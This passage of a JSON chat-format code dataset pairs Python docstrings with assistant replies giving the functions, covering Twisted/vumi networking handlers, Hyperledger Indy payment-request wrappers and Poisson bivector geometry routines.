self.assertEqual(conn.client_protocol, client)", "conversation_id": 866, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 867, "message_id": 0 }, { "role": "user", "content": "Start a match operation. Expects the query to be POSTed\nas the raw HTTP POST data.\n\nThe query is a list of dictionaries. A dictionary should have the\nstructure as defined in `vumi.persist.model.Model.index_match`\n\nThe results of the query are stored fo limited time. It defaults\nto `MessageStoreCache.DEFAULT_SEARCH_RESULT_TTL` but can be overriden\nby specifying the TTL in seconds using the header key as specified\nin `REQ_TTL_HEADER`.\n\nIf the request has the `REQ_WAIT_HEADER` value equals `1` (int)\nthen it will only return with a response when the keys are actually\navailable for collecting..", "conversation_id": 867, "message_id": 1 }, { "role": "assistant", "content": "def render_POST(self, request):\n query = json.loads(request.content.read())\n headers = request.requestHeaders\n ttl = int(headers.getRawHeaders(self.REQ_TTL_HEADER, [0])[0])\n if headers.hasHeader(self.REQ_WAIT_HEADER):\n wait = bool(int(headers.getRawHeaders(self.REQ_WAIT_HEADER)[0]))\n else:\n wait = False\n deferred = self._match_cb(query, ttl=(ttl or None), wait=wait)\n deferred.addCallback(self._render_token, request)\n return NOT_DONE_YET", "conversation_id": 867, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 868, "message_id": 0 }, { "role": "user", "content": "Callback handler that raises an error when called.", "conversation_id": 868, "message_id": 1 }, { "role": "assistant", "content": "def _cb(*args, **kwargs):\n return defer.fail(xmlrpc.Fault(503, 'oh noes!'))", "conversation_id": 868, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 869, "message_id": 0 }, { "role": "user", "content": "Callback handler that raises an error when called.", "conversation_id": 869, "message_id": 1 }, { "role": "assistant", "content": "def _cb(*args, **kwargs):\n return defer.fail(ValueError(402, 'Payment Required'))", "conversation_id": 869, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 870, "message_id": 0 }, { "role": "user", "content": "Stop attempting to reconnect and close any existing connections..", "conversation_id": 870, "message_id": 1 }, { "role": "assistant", "content": "def stopService(self):\n self.continueTrying = False\n waitFor = []\n if self._delayedRetry is not None and self._delayedRetry.active():\n self._delayedRetry.cancel()\n self._delayedRetry = None\n if self._connectingDeferred is not None:\n waitFor.append(self._connectingDeferred)\n self._connectingDeferred.cancel()\n self._connectingDeferred = None\n if self._protocol is not None:\n self._protocolStoppingDeferred = Deferred()\n waitFor.append(self._protocolStoppingDeferred)\n self._protocol.transport.loseConnection()\n d = gatherResults(waitFor)\n return d.addCallback(lambda _: Service.stopService(self))", "conversation_id": 870, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 871, "message_id": 0 }, { "role": "user", "content": "Have this connector connect again, after a suitable delay..", "conversation_id": 871, "message_id": 1 }, { "role": "assistant", "content": "def retry(self, delay=None):\n if not self.continueTrying:\n if self.noisy:\n log.msg(\"Abandoning %s on explicit request\" % (self.endpoint,))\n return\n if self.maxRetries is not None and (self.retries >= self.maxRetries):\n if self.noisy:\n log.msg(\"Abandoning %s after %d retries.\" %\n (self.endpoint, self.retries))\n return\n self.retries += 1\n if delay is None:\n self.delay = min(self.delay * self.factor, self.maxDelay)\n if self.jitter:\n self.delay = random.normalvariate(self.delay,\n self.delay * self.jitter)\n delay = self.delay\n if self.noisy:\n log.msg(\"Will retry %s in %g seconds\"\n % (self.endpoint, delay))\n def reconnector():\n proxied_factory = _RestartableProtocolFactoryProxy(\n self.factory, self)\n self._connectingDeferred = self.endpoint.connect(proxied_factory)\n self._connectingDeferred.addCallback(self.clientConnected)\n self._connectingDeferred.addErrback(self.clientConnectionFailed)\n self._delayedRetry = self.clock.callLater(delay, reconnector)", "conversation_id": 871, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 872, "message_id": 0 }, { "role": "user", "content": "Call this method after a successful connection: it resets the delay and\nthe retry counter..", "conversation_id": 872, "message_id": 1 }, { "role": "assistant", "content": "def resetDelay(self):\n self.delay = self.initialDelay\n self.retries = 0", "conversation_id": 872, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 873, "message_id": 0 }, { "role": "user", "content": "Process a page of keys and each subsequent page.\nThe keys for the current page are handed off to :meth:`fetch_page` for\nprocessing. If there is another page, we fetch that while the current\npage is being handled and add a callback to process it when the\ncurrent page is finished.\n\nWhen there are no more pages, we add a callback to close the request..", "conversation_id": 873, "message_id": 1 }, { "role": "assistant", "content": "def fetch_pages(self, keys_page, concurrency, request):\n if request.connection_has_been_closed:\n return\n d = self.fetch_page(keys_page, concurrency, request)\n if keys_page.has_next_page():\n next_page_d = keys_page.next_page()\n d.addCallback(lambda _: next_page_d)\n d.addCallback(self.fetch_pages, concurrency, request)\n else:\n d.addCallback(self.finish_request_cb, request)\n return d", "conversation_id": 873, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 874, "message_id": 0 }, { "role": "user", "content": "Process a page of keys in chunks of concurrently-fetched messages..", "conversation_id": 874, "message_id": 1 }, { "role": "assistant", "content": "def fetch_page(self, keys_page, concurrency, request):\n for keys in chunks(list(keys_page), concurrency):\n if request.connection_has_been_closed:\n return\n yield self.handle_chunk(keys, request)", "conversation_id": 874, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 875, "message_id": 0 }, { "role": "user", "content": "Modifies Indy request by adding information how to pay fees for this transaction\naccording to selected payment method.\n\nPayment selection is performed by looking to o\n\nThis method consumes set of UTXO inputs and outputs. The difference between inputs balance\nand outputs balance is the fee for this transaction.\n\nNot that this method also produces correct fee signatures.\n\nFormat of inputs is specific for payment method. Usually it should reference payment transaction\nwith at least one output that corresponds to payment address that user owns..", "conversation_id": 875, "message_id": 1 }, { "role": "assistant", "content": "async def add_request_fees(wallet_handle: int,\n submitter_did: str,\n req_json: str,\n inputs_json: str,\n outputs_json: str) -> (str, str):\n logger = logging.getLogger(__name__)\n logger.debug(\n \"add_request_fees: >>> wallet_handle: %r, submitter_did: %r, req_json: %r, inputs_json: %r, outputs_json: %r\",\n wallet_handle,\n submitter_did,\n req_json,\n inputs_json,\n outputs_json)\n if not hasattr(add_request_fees, \"cb\"):\n logger.debug(\"add_request_fees: Creating callback\")\n add_request_fees.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))\n c_wallet_handle = c_int32(wallet_handle)\n c_submitter_did = c_char_p(submitter_did.encode('utf-8'))\n c_req_json = c_char_p(req_json.encode('utf-8'))\n c_inputs_json = c_char_p(inputs_json.encode('utf-8'))\n c_outputs_json = c_char_p(outputs_json.encode('utf-8'))\n (req_with_fees_json, payment_method) = await do_call('indy_add_request_fees',\n c_wallet_handle,\n c_submitter_did,\n c_req_json,\n c_inputs_json,\n c_outputs_json,\n add_request_fees.cb)\n res = (req_with_fees_json.decode(), payment_method.decode())\n logger.debug(\"add_request_fees: <<< res: %r\", res)\n return res", "conversation_id": 875, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 876, "message_id": 0 }, { "role": "user", "content": "Parses response for Indy request with fees..", "conversation_id": 876, "message_id": 1 }, { "role": "assistant", "content": "async def parse_response_with_fees(payment_method: str,\n resp_json: str) -> str:\n logger = logging.getLogger(__name__)\n logger.debug(\"parse_response_with_fees: >>> payment_method: %r, resp_json: %r\",\n payment_method,\n resp_json)\n if not hasattr(parse_response_with_fees, \"cb\"):\n logger.debug(\"parse_response_with_fees: Creating callback\")\n parse_response_with_fees.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))\n c_payment_method = c_char_p(payment_method.encode('utf-8'))\n c_resp_json = c_char_p(resp_json.encode('utf-8'))\n utxo_json = await do_call('indy_parse_response_with_fees',\n c_payment_method,\n c_resp_json,\n parse_response_with_fees.cb)\n res = utxo_json.decode()\n logger.debug(\"parse_response_with_fees: <<< res: %r\", res)\n return res", "conversation_id": 876, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 877, "message_id": 0 }, { "role": "user", "content": "Builds Indy request for getting UTXO list for payment address\naccording to this payment method..", "conversation_id": 877, "message_id": 1 }, { "role": "assistant", "content": "async def build_get_utxo_request(wallet_handle: int,\n submitter_did: str,\n payment_address: str) -> (str, str):\n logger = logging.getLogger(__name__)\n logger.debug(\"build_get_utxo_request: >>> wallet_handle: %r, submitter_did: %r, payment_address: %r\",\n wallet_handle,\n submitter_did,\n payment_address)\n if not hasattr(build_get_utxo_request, \"cb\"):\n logger.debug(\"build_get_utxo_request: Creating callback\")\n build_get_utxo_request.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))\n c_wallet_handle = c_int32(wallet_handle)\n c_submitter_did = c_char_p(submitter_did.encode('utf-8'))\n c_payment_address = c_char_p(payment_address.encode('utf-8'))\n (get_utxo_txn_json, payment_method) = await do_call('indy_build_get_utxo_request',\n c_wallet_handle,\n c_submitter_did,\n c_payment_address,\n build_get_utxo_request.cb)\n res = (get_utxo_txn_json.decode(), payment_method.decode())\n logger.debug(\"build_get_utxo_request: <<< res: %r\", res)\n return res", "conversation_id": 877, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 878, "message_id": 0 }, { "role": "user", "content": "Parses response for Indy request for getting UTXO list..", "conversation_id": 878, "message_id": 1 }, { "role": "assistant", "content": "async def parse_get_utxo_response(payment_method: str,\n resp_json: str) -> str:\n logger = logging.getLogger(__name__)\n logger.debug(\"parse_get_utxo_response: >>> payment_method: %r, resp_json: %r\",\n payment_method,\n resp_json)\n if not hasattr(parse_get_utxo_response, \"cb\"):\n logger.debug(\"parse_get_utxo_response: Creating callback\")\n parse_get_utxo_response.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))\n c_payment_method = c_char_p(payment_method.encode('utf-8'))\n c_resp_json = c_char_p(resp_json.encode('utf-8'))\n utxo_json = await do_call('indy_parse_get_utxo_response',\n c_payment_method,\n c_resp_json,\n parse_get_utxo_response.cb)\n res = utxo_json.decode()\n logger.debug(\"parse_get_utxo_response: <<< res: %r\", res)\n return res", "conversation_id": 878, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 879, "message_id": 0 }, { "role": "user", "content": "Builds Indy request for doing tokens payment according to this payment method.\nThis method consumes set of UTXO inputs and outputs.\n\nFormat of inputs is specific for payment method. Usually it should reference payment transaction\nwith at least one output that corresponds to payment address that user owns..", "conversation_id": 879, "message_id": 1 }, { "role": "assistant", "content": "async def build_payment_req(wallet_handle: int,\n submitter_did: str,\n inputs_json: str,\n outputs_json: str) -> (str, str):\n logger = logging.getLogger(__name__)\n logger.debug(\"build_payment_req: >>> wallet_handle: %r, submitter_did: %r, inputs_json: %r, outputs_json: %r\",\n wallet_handle,\n submitter_did,\n inputs_json,\n outputs_json)\n if not hasattr(build_payment_req, \"cb\"):\n logger.debug(\"build_payment_req: Creating callback\")\n build_payment_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))\n c_wallet_handle = c_int32(wallet_handle)\n c_submitter_did = c_char_p(submitter_did.encode('utf-8'))\n c_inputs_json = c_char_p(inputs_json.encode('utf-8'))\n c_outputs_json = c_char_p(outputs_json.encode('utf-8'))\n (payment_req_json, payment_method) = await do_call('indy_build_payment_req',\n c_wallet_handle,\n c_submitter_did,\n c_inputs_json,\n c_outputs_json,\n build_payment_req.cb)\n res = (payment_req_json.decode(), payment_method.decode())\n logger.debug(\"build_payment_req: <<< res: %r\", res)\n return res", "conversation_id": 879, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 880, "message_id": 0 }, { "role": "user", "content": "Parses response for Indy request for getting UTXO list..", "conversation_id": 880, "message_id": 1 }, { "role": "assistant", "content": "async def parse_payment_response(payment_method: str,\n resp_json: str) -> str:\n logger = logging.getLogger(__name__)\n logger.debug(\"parse_payment_response: >>> wallet_handle: %r, payment_method: %r, resp_json: %r\",\n payment_method,\n resp_json)\n if not hasattr(parse_payment_response, \"cb\"):\n logger.debug(\"parse_payment_response: Creating callback\")\n parse_payment_response.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))\n c_payment_method = c_char_p(payment_method.encode('utf-8'))\n c_resp_json = c_char_p(resp_json.encode('utf-8'))\n utxo_json = await do_call('indy_parse_payment_response',\n c_payment_method,\n c_resp_json,\n parse_payment_response.cb)\n res = utxo_json.decode()\n logger.debug(\"parse_payment_response: <<< res: %r\", res)\n return res", "conversation_id": 880, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 881, "message_id": 0 }, { "role": "user", "content": "Builds Indy request for doing tokens minting according to this payment method.\nThis method consumes set of UTXO inputs and outputs.\n\nFormat of inputs is specific for payment method. Usually it should reference payment transaction\nwith at least one output that corresponds to payment address that user owns..", "conversation_id": 881, "message_id": 1 }, { "role": "assistant", "content": "async def build_mint_req(wallet_handle: int,\n submitter_did: str,\n outputs_json: str) -> (str, str):\n logger = logging.getLogger(__name__)\n logger.debug(\"build_mint_req: >>> wallet_handle: %r, submitter_did: %r, outputs_json: %r\",\n wallet_handle,\n submitter_did,\n outputs_json)\n if not hasattr(build_mint_req, \"cb\"):\n logger.debug(\"build_mint_req: Creating callback\")\n build_mint_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p, c_char_p))\n c_wallet_handle = c_int32(wallet_handle)\n c_submitter_did = c_char_p(submitter_did.encode('utf-8'))\n c_outputs_json = c_char_p(outputs_json.encode('utf-8'))\n (mint_req_json, payment_method) = await do_call('indy_build_mint_req',\n c_wallet_handle,\n c_submitter_did,\n c_outputs_json,\n build_mint_req.cb)\n res = (mint_req_json.decode(), payment_method.decode())\n logger.debug(\"build_mint_req: <<< res: %r\", res)\n return res", "conversation_id": 881, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 882, "message_id": 0 }, { "role": "user", "content": "Builds Indy request for setting fees for transactions in the ledger.", "conversation_id": 882, "message_id": 1 }, { "role": "assistant", "content": "async def build_set_txn_fees_req(wallet_handle: int,\n submitter_did: str,\n payment_method: str,\n fees_json: str) -> str:\n logger = logging.getLogger(__name__)\n logger.debug(\"build_set_txn_fees_req: >>> wallet_handle: %r, submitter_did: %r, payment_method: %r, fees_json: %r\",\n wallet_handle,\n submitter_did,\n payment_method,\n fees_json)\n if not hasattr(build_set_txn_fees_req, \"cb\"):\n logger.debug(\"build_set_txn_fees_req: Creating callback\")\n build_set_txn_fees_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))\n c_wallet_handle = c_int32(wallet_handle)\n c_submitter_did = c_char_p(submitter_did.encode('utf-8'))\n c_payment_method = c_char_p(payment_method.encode('utf-8'))\n c_fees_json = c_char_p(fees_json.encode('utf-8'))\n set_txn_fees_json = await do_call('indy_build_set_txn_fees_req',\n c_wallet_handle,\n c_submitter_did,\n c_payment_method,\n c_fees_json,\n build_set_txn_fees_req.cb)\n res = set_txn_fees_json.decode()\n logger.debug(\"build_set_txn_fees_req: <<< res: %r\", res)\n return res", "conversation_id": 882, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 883, "message_id": 0 }, { "role": "user", "content": "Builds Indy request for getting fees for transactions in the ledger.", "conversation_id": 883, "message_id": 1 }, { "role": "assistant", "content": "async def build_get_txn_fees_req(wallet_handle: int,\n submitter_did: str,\n payment_method: str) -> str:\n logger = logging.getLogger(__name__)\n logger.debug(\"build_get_txn_fees_req: >>> wallet_handle: %r, submitter_did: %r, payment_method: %r\",\n wallet_handle,\n submitter_did,\n payment_method)\n if not hasattr(build_get_txn_fees_req, \"cb\"):\n logger.debug(\"build_get_txn_fees_req: Creating callback\")\n build_get_txn_fees_req.cb = create_cb(CFUNCTYPE(None, c_int32, c_int32, c_char_p))\n c_wallet_handle = c_int32(wallet_handle)\n c_submitter_did = c_char_p(submitter_did.encode('utf-8'))\n c_payment_method = c_char_p(payment_method.encode('utf-8'))\n get_txn_fees_json = await do_call('indy_build_get_txn_fees_req',\n c_wallet_handle,\n c_submitter_did,\n c_payment_method,\n build_get_txn_fees_req.cb)\n res = get_txn_fees_json.decode()\n logger.debug(\"build_get_txn_fees_req: <<< res: %r\", res)\n return res", "conversation_id": 883, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 884, "message_id": 0 }, { "role": "user", "content": "Read a csv reader iterator until a blank line is found..", "conversation_id": 884, "message_id": 1 }, { "role": "assistant", "content": "def csv_record_reader(csv_reader):\n prev_row_blank = True\n for row in csv_reader:\n if not (len(row) == 0):\n if row[0].startswith('#'):\n continue\n yield [cell.strip() for cell in row]\n prev_row_blank = False\n elif not prev_row_blank:\n return", "conversation_id": 884, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 885, "message_id": 0 }, { "role": "user", "content": "Read a reader iterator and return a list of dictionaries, each including column name and value..", "conversation_id": 885, "message_id": 1 }, { "role": "assistant", "content": "def dataframe(reader, columns):\n df = []\n for row in reader:\n df.append(dict(zip(columns, row)))\n return df", "conversation_id": 885, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 886, "message_id": 0 }, { "role": "user", "content": "Returns a standard warning that can be placed at the top of each\ngenerated _Fortran_ include file..", "conversation_id": 886, "message_id": 1 }, { "role": "assistant", "content": "def header():\n return \"\"\"\n! -------------------\n! W A R N I N G\n! -------------------\n!\n! This code fragment is automatically generated by MAPL_GridCompSpecs_ACG.\n! Please DO NOT edit it. Any modification made in here will be overwritten\n! next time this file is auto-generated. Instead, enter your additions\n! or deletions in the .rc file in the src tree.\n!\n \"\"\"", "conversation_id": 886, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 887, "message_id": 0 }, { "role": "user", "content": "This method check if the dimension variable is valid for the this class.", "conversation_id": 887, "message_id": 1 }, { "role": "assistant", "content": "def validate_dimension(dim):\n if not isinstance(dim, int):\n raise DimensionError(F\"{dim} is not int\")\n if dim < 2:\n raise DimensionError(F\"{dim} < 2\")\n else:\n return dim", "conversation_id": 887, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 888, "message_id": 0 }, { "role": "user", "content": "Constructs the matrix of a 2-contravariant tensor field or bivector field.\nParameters.", "conversation_id": 888, "message_id": 1 }, { "role": "assistant", "content": "def bivector_to_matrix(self, bivector, latex=False):\n bivector_matrix = sym.zeros(self.dim + 1)\n for e in bivector:\n if len(set(e)) < len(e):\n raise MultivectorError(F\"repeated indexes {e} in {bivector}\")\n if len(tuple(filter(lambda x: (x <= 0), e))) > 0:\n raise MultivectorError(F\"invalid key {e} in {bivector}\")\n bivector_matrix[e] = bivector[e]\n swap_e = e[::-1]\n bivector_matrix[swap_e] = (-1) * bivector_matrix[e]\n return sym.latex(bivector_matrix) if latex else bivector_matrix[1:, 1:]", "conversation_id": 888, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 889, "message_id": 0 }, { "role": "user", "content": "Check if a differential 1-form alpha belongs to the kernel of a given Poisson bivector field,\nthat is check if P#(alpha) = 0\n\nParameters.", "conversation_id": 889, "message_id": 1 }, { "role": "assistant", "content": "def is_in_kernel(self, bivector, one_form):\n image = self.sharp_morphism(bivector, one_form)\n if not isinstance(image, dict):\n return image\n return False if bool(image) else True", "conversation_id": 889, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 890, "message_id": 0 }, { "role": "user", "content": "Check if a homogeneous Poisson bivector field is unimodular\nor not.\n\nParameters.", "conversation_id": 890, "message_id": 1 }, { "role": "assistant", "content": "def is_unimodular_homogeneous(self, bivector):\n for key in bivector:\n if sym.homogeneous_order(bivector[key], *self.coords) is None:\n msg = f'{key}: {bivector[key]} is not a polynomial homogeneous with respect to {self.coordinates}'\n raise Nonhomogeneous(msg)\n if sym.homogeneous_order(bivector[key], *self.coords) < 0:\n msg = f'{key}: {bivector[key]} is not a polynomial homogeneous with respect to {self.coordinates}'\n raise Nonhomogeneous(msg)\n mod_vf = self.modular_vf(bivector, '1')\n if not isinstance(mod_vf, dict):\n return mod_vf\n return False if bool(mod_vf) else True", "conversation_id": 890, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 891, "message_id": 0 }, { "role": "user", "content": "This method compute the Gauge transformation of a Poisson bivector field.\nParameters.", "conversation_id": 891, "message_id": 1 }, { "role": "assistant", "content": "def gauge_transformation(self, bivector, two_form, gauge_biv=True, det=False, latex=False):\n if not gauge_biv and not det:\n return {}\n bivector_matrix = self.bivector_to_matrix(bivector)\n two_form_matrix = self.bivector_to_matrix(two_form)\n if not isinstance(bivector_matrix, sym.matrices.dense.MutableDenseMatrix):\n return bivector_matrix\n if not isinstance(two_form_matrix, sym.matrices.dense.MutableDenseMatrix):\n return two_form_matrix\n I_plus_deltas = [sym.eye(self.dim) + two_form_matrix.col(0) * ((-1) * bivector_matrix.row(0))]\n for k in range(1, self.dim - 1):\n I_plus_deltas.append(I_plus_deltas[k - 1] + two_form_matrix.col(k) * ((-1) * bivector_matrix.row(k)))\n adj_I_deltas = [sym.Matrix.adjugate(e) for e in I_plus_deltas]\n viT_adj_I_deltas_ui = [(((-1) * bivector_matrix.row(i)) * adj_I_deltas[i-1] * two_form_matrix.col(i))[0] for i in range(1, self.dim)] \n sum_viT_adj_I_deltas_ui = sum(viT_adj_I_deltas_ui)\n gauge_det = 1 + (((-1) * bivector_matrix.row(0)) * two_form_matrix.col(0))[0] + sum_viT_adj_I_deltas_ui\n if det and not gauge_biv:\n if latex:\n return sym.latex(gauge_det)\n return f\"{gauge_det}\"\n gauge_det = sym.simplify(gauge_det)\n if gauge_det == 0:\n return False\n BP = two_form_matrix * bivector_matrix\n I_minus_BP = sym.eye(self.dim) - BP\n adj_I_BP = sym.Matrix.adjugate(I_minus_BP)\n inv_I_BP = (1 / gauge_det) * adj_I_BP\n gauge_matrix = bivector_matrix * inv_I_BP\n gauge_matrix = sym.matrices.SparseMatrix(gauge_matrix)\n gauge_matrix_RL = gauge_matrix.RL\n sym_gauge_bivector = {(e[0] + 1, e[1] + 1): e[2] for e in gauge_matrix_RL if e[0] < e[1]}\n str_gauge_bivector = {(e[0] + 1, e[1] + 1): f\"{e[2]}\" for e in gauge_matrix_RL if e[0] < e[1]}\n if det:\n if latex:\n return sym.latex(sym_gauge_bivector), sym.latex(gauge_det)\n return str_gauge_bivector, f\"{gauge_det}\"\n if latex:\n return sym.latex(sym_gauge_bivector)\n return str_gauge_bivector", "conversation_id": 891, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 892, "message_id": 0 }, { "role": "user", "content": "Calculates a normal form for Lie-Poisson bivector fields on R^3 modulo linear isomorphisms.\nParameters.", "conversation_id": 892, "message_id": 1 }, { "role": "assistant", "content": "def linear_normal_form_R3(self, bivector, latex=False):\n for key in bivector:\n if sym.homogeneous_order(bivector[key], *self.coords) is None:\n msg = f'{key}: {bivector[key]} is not a linear polynomial with respect to {self.coordinates}'\n raise Nonlinear(msg)\n if sym.homogeneous_order(bivector[key], *self.coords) != 1:\n msg = f'{key}: {bivector[key]} is not a linear polynomial with respect to {self.coordinates}'\n raise Nonlinear(msg)\n if not bool(bivector):\n return {}\n for e in bivector:\n if len(e) != 2 or len(tuple(filter(lambda x: (x <= 0), e))) > 0:\n raise MultivectorError(F'invalid key {e} in {bivector}')\n if len(set(e)) < len(e):\n raise MultivectorError(F'repeated indexes {e} in {bivector}')\n if [bivector[e].find(f'{self.variable}') for e in bivector].count(-1) != 0:\n return {}\n bivector = sym.sympify(bivector)\n pair_E_P = []\n for e in bivector:\n if sym.simplify(e[0] * e[1] - 6) == 0:\n pair_E_P.append(-self.coords[0] * bivector[e])\n if sym.simplify(e[0] * e[1] - 3) == 0:\n pair_E_P.append(self.coords[1] * bivector[e])\n if sym.simplify(e[0] * e[1] - 2) == 0:\n pair_E_P.append(-self.coords[2] * bivector[e])\n pair_E_P = sym.sympify('1/2') * sum(pair_E_P)\n hessian_pair_E_P = sym.sympify('1/2') * sym.hessian(pair_E_P, self.coords[:3])\n rank_hess = hessian_pair_E_P.rank()\n egvals_hess = [sym.re(e) for e in hessian_pair_E_P.eigenvals(rational=True, multiple=True)]\n sign_hess = sum([sym.sign(e) for e in egvals_hess])\n if self.is_unimodular_homogeneous(bivector):\n if sym.simplify(rank_hess - 3) == 0:\n if sym.simplify(sym.Abs(sign_hess) - 3) == 0:\n if latex:\n return sym.latex({\n (1, 2): F'{self.coords[2]}',\n (1, 3): F'-{self.coords[1]}',\n (2, 3): F'{self.coords[0]}'\n })\n return {\n (1, 2): F'{self.coords[2]}',\n (1, 3): F'-{self.coords[1]}',\n (2, 3): F'{self.coords[0]}',\n } \n if sym.simplify(sym.Abs(sign_hess) - 1) == 0:\n if latex:\n return sym.latex({\n (1, 2): F'-{self.coords[2]}',\n (1, 3): F'-{self.coords[1]}',\n (2, 3): F'{self.coords[0]}',\n })\n return {\n (1, 2): F'-{self.coords[2]}',\n (1, 3): F'-{self.coords[1]}',\n (2, 3): F'{self.coords[0]}',\n } \n if sym.simplify(rank_hess - 2) == 0:\n if sym.simplify(sym.Abs(sign_hess) - 2) == 0:\n if latex:\n return sym.latex({(1, 3): F'-{self.coords[1]}', (2, 3): F'{self.coords[0]}'})\n return {(1, 3): F'-{self.coords[1]}', (2, 3): F'{self.coords[0]}'} \n if sign_hess == 0:\n if latex:\n return sym.latex({(1, 3): F'{self.coords[1]}', (2, 3): F'{self.coords[0]}'})\n return {(1, 3): F'{self.coords[1]}', (2, 3): F'{self.coords[0]}'} \n if sym.simplify(rank_hess - 1) == 0:\n if latex:\n return sym.latex({(2, 3): F'{self.coords[0]}'})\n return {(2, 3): F'{self.coords[0]}'} \n if rank_hess == 0:\n if latex:\n return sym.latex({(1, 3): F'{self.coords[0]}', (2, 3): F'{self.coords[1]}'})\n return {(1, 3): F'{self.coords[0]}', (2, 3): F'{self.coords[1]}'} \n if sym.simplify(rank_hess - 2) == 0:\n if sym.simplify(sym.Abs(sign_hess) - 2) == 0:\n if latex:\n return sym.latex({\n (1, 3): F'{self.coords[0]} - 4*a*{self.coords[1]}',\n (2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}',\n })\n return {\n (1, 3): F'{self.coords[0]} - 4*a*{self.coords[1]}',\n (2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}',\n } \n if sign_hess == 0:\n if latex:\n return sym.latex({\n (1, 3): F'{self.coords[0]} + 4*a*{self.coords[1]}',\n (2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}'\n })\n return {\n (1, 3): F'{self.coords[0]} + 4*a*{self.coords[1]}',\n (2, 3): F'4*a*{self.coords[0]} + {self.coords[1]}'\n } \n if sym.simplify(rank_hess - 1) == 0:\n if latex:\n return sym.latex({(1, 3): f'{self.coords[0]}', (2, 3): f'4*{self.coords[0]} + {self.coords[1]}'})\n return {(1, 3): f'{self.coords[0]}', (2, 3): f'4*{self.coords[0]} + {self.coords[1]}'} \n return {}", "conversation_id": 892, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 893, "message_id": 0 }, { "role": "user", "content": "Determines if two Lie-Poisson bivector fields on R^3 are isomorphic or not.\nParameters.", "conversation_id": 893, "message_id": 1 }, { "role": "assistant", "content": "def isomorphic_lie_poisson_R3(self, bivector_1, bivector_2):\n normal_1 = self.linear_normal_form_R3(bivector_1)\n normal_2 = self.linear_normal_form_R3(bivector_2)\n if not bool(normal_1) and not bool(normal_2):\n return True\n if not isinstance(normal_1, dict):\n return normal_1\n if not isinstance(normal_2, dict):\n return normal_2\n if len(normal_1) - len(normal_2) != 0:\n return False\n if len(normal_1) - 1 == 0 and len(normal_2) - 1 == 0:\n return True\n normal_1 = sym.sympify(normal_1)\n normal_2 = sym.sympify(normal_2)\n if len(normal_1) - 2 == 0 and len(normal_2) - 2 == 0:\n compare = [1 for e in normal_1 if sym.simplify(normal_1[e] - normal_2[e]) != 0]\n return True if len(compare) == 0 else False\n if len(normal_1) - 3 == 0 and len(normal_2) - 3 == 0:\n return True if sym.simplify(normal_1[(1, 2)] - normal_2[(1, 2)]) == 0 else False\n return False", "conversation_id": 893, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 894, "message_id": 0 }, { "role": "user", "content": "Calculates de Schouten-Nijenhuis bracket of a given bivector field with himself, that is [P,P]\nwhere [,] denote the Schouten bracket for multivector fields.\n\nParameters.", "conversation_id": 894, "message_id": 1 }, { "role": 